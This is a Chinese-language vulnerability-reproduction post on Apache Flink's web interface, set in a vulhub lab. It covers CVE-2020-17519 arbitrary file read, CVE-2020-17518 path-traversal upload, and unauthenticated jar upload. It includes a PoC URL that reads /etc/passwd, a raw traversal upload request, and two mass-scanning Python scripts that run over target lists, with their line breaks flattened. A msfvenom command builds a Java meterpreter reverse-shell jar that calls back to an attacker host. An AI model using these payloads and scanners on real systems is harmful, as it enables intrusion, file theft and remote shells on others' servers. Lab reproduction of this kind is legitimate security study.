【apache漏洞】 flink web漏洞复现

#CVE-2020-17519 #CVE-2020-17518

flink简介

Apache Flink 是高效和分布式的通用数据处理平台，由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎（简单来说，就是跟spark类似）。Flink 具有监控 API，可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard，同时也可用于自定义监控工具

默认监听端口（web页面）： 8081

flink web默认访问是不需要权限的。

flink的主要漏洞有下面的三个，可以上传jar getshell，任意文件读取，上传路径遍历

环境搭建

本次采用下面的环境来进行复现

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

首先下载这个项目，然后执行命令docker-compose up -d。安装以后正常启动docker。

访问8081页面，可以正常访问，说明环境正常

CVE-2020-17519

高危：上传路径遍历读取任意文件
影响版本：1.11.0, 1.11.1, 1.11.2

Apache Flink 1.11.0中引入的更改（以及1.11.1和1.11.2中也发布）允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

POC：

http://example/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

漏洞截图：

漏洞原因分析：

任意读过程中的两次 urldecode 比较有意思，第一次decode产生 path，path 再次decode并切割产生tokens，path 会被当作路由进行匹配，而tokens会被当作最终的函数参数。

org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下

如上图，filename 是直接从 tokens 中取出，直接拼接到 logDir 父目录下，由于 token 经过 2 次 url 解码，所以能够正常获取到 ../../ ，从而进行跨目录读

检测脚本（来自网络）：

#!/usr/bin/env python
# coding:utf-8
# author:B1anda0
#affected versions are Apache Flink 1.11.0-1.11.2import requests,sys,colorama
from colorama import *
init(autoreset=True)banner='''\033[1;33;40m_______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 
'''def verify():headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd' poc=urls+payloadtry:requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告response=requests.get(poc,headers=headers,timeout=15,verify=False)if response.status_code==200 and "root:x" in response.content:print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))print(response.content)#将漏洞地址输出在Vul.txt中f=open('./vul.txt','a')f.write(urls)f.write('\n')else:print('\033[1;32;40m[-]{} None'.format(urls))except:print('{} request timeout'.format(urls))if __name__ == '__main__':print (banner)if len(sys.argv)!=2:print('Example:python CVE-2020-17519.py urls.txt')else:file = open(sys.argv[1])for url in file.readlines():urls=url.strip()if urls[-1]=='/':urls=urls[:-1]verify()print ('Check Over')

CVE-2020-17518

高危：上传路径遍历,上传任意文件到指定目录
影响版本：1.5.1-1.11.2

Apache Flink 1.5.1引入了REST处理程序，该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

POC：

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

漏洞截图：

返回报错，但是实际上传成功了

漏洞成因：

触发点在 org.apache.flink.runtime.rest.FileUploadHandler#channelRead0 ，部分函数如下

如上图，fileUpload 是用户可控的内容，则 filename 也是可控的，所以可以修改 filename 进行跨目录写操作

检测脚本：

#-*- coding:utf-8 -*-
banner = """888888ba             dP                     88    `8b            88                     a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 88   `8b. 88'  `88   88   Y8ooooo. 88    88 88    .88 88.  .88   88         88 88.  .88 88888888P `88888P8   dP   `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/01/06 CVE-2020-17518.pyC0de by NebulabdSec - @batsu                  """
print(banner)
import threadpool
import random
import requests
import argparse
import http.client
import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'payload_CMD  = '''test'''
TARGET_URI = "/jars/upload'%2bsss"def get_ua():first_num = random.randint(55, 62)third_num = random.randint(0, 3200)fourth_num = random.randint(0, 140)os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)','(Macintosh; Intel Mac OS X 10_12_6)']chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36','(KHTML, like Gecko)', chrome_version, 'Safari/537.36'])return uadef CVE_2020_17518(url):proxies = {"http":"http://127.0.0.1:8080"}# proxies = {"scoks5": "http://127.0.0.1:1081"}paramsMultipart = [('jarfile',('../../../../../tmp/test', "{}\r\n".format(payload_CMD), 'application/octet-stream'))]headers = {'User-Agent': get_ua(),"Accept": "*/*"}targetUrl = url + TARGET_URItry:res = requests.post(targetUrl,files=paramsMultipart,headers=headers,timeout=15,verify=False,proxies=proxies)# proxies={'socks5': 'http://127.0.0.1:1081'})if  len(res.text) == 25 and "Not found" in res.text and "errors" in res.text:print("[+] URL:{}--------可能存在CVE-2020-17518漏洞".format(url))with open("存在漏洞地址.txt", 'a') as fw:fw.write(url + '\n')else:print("[-] " + url + " 没有发现CVE-2020-17518漏洞.\n")except Exception as e:print(e)except:print("[-] " + url + " Request ERROR.\n")def multithreading(filename="ip.txt", pools=5):works = []with open(filename, "r") as f:for i in f:func_params = [i.rstrip("\n")]works.append((func_params, None))pool = threadpool.ThreadPool(pools)reqs = threadpool.makeRequests(CVE_2020_17518, works)[pool.putRequest(req) for req in reqs]pool.wait()def main():print("默认上传文件名为../../../../../tmp/test,内容为'''test'''")parser = argparse.ArgumentParser()parser.add_argument("-u","--url",help="Target URL; Example:http://ip:port")parser.add_argument("-f","--file",help="Url File; Example:url.txt")args = parser.parse_args()url = args.urlfile_path = args.fileif url != None and file_path ==None:CVE_2020_17518(url)elif url == None and file_path != None:multithreading(file_path, 10)  # 默认15线程if __name__ == "__main__":main()

未授权访问&上传jar获取webshell

flink默认是没有访问权限的。

本质是一个反序列化漏洞

影响版本：Apache Flink <= 1.9.1

漏洞复现：

1.生成反弹jar包

msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar

2.上传jar，并设置vps监听

3.点击sumbit就可以获取到webshell。我这台机器是高版本，报错没有获取到shell

参考🔗

https://blog.csdn.net/u010942041/article/details/112319674
https://zhuanlan.zhihu.com/p/342355606

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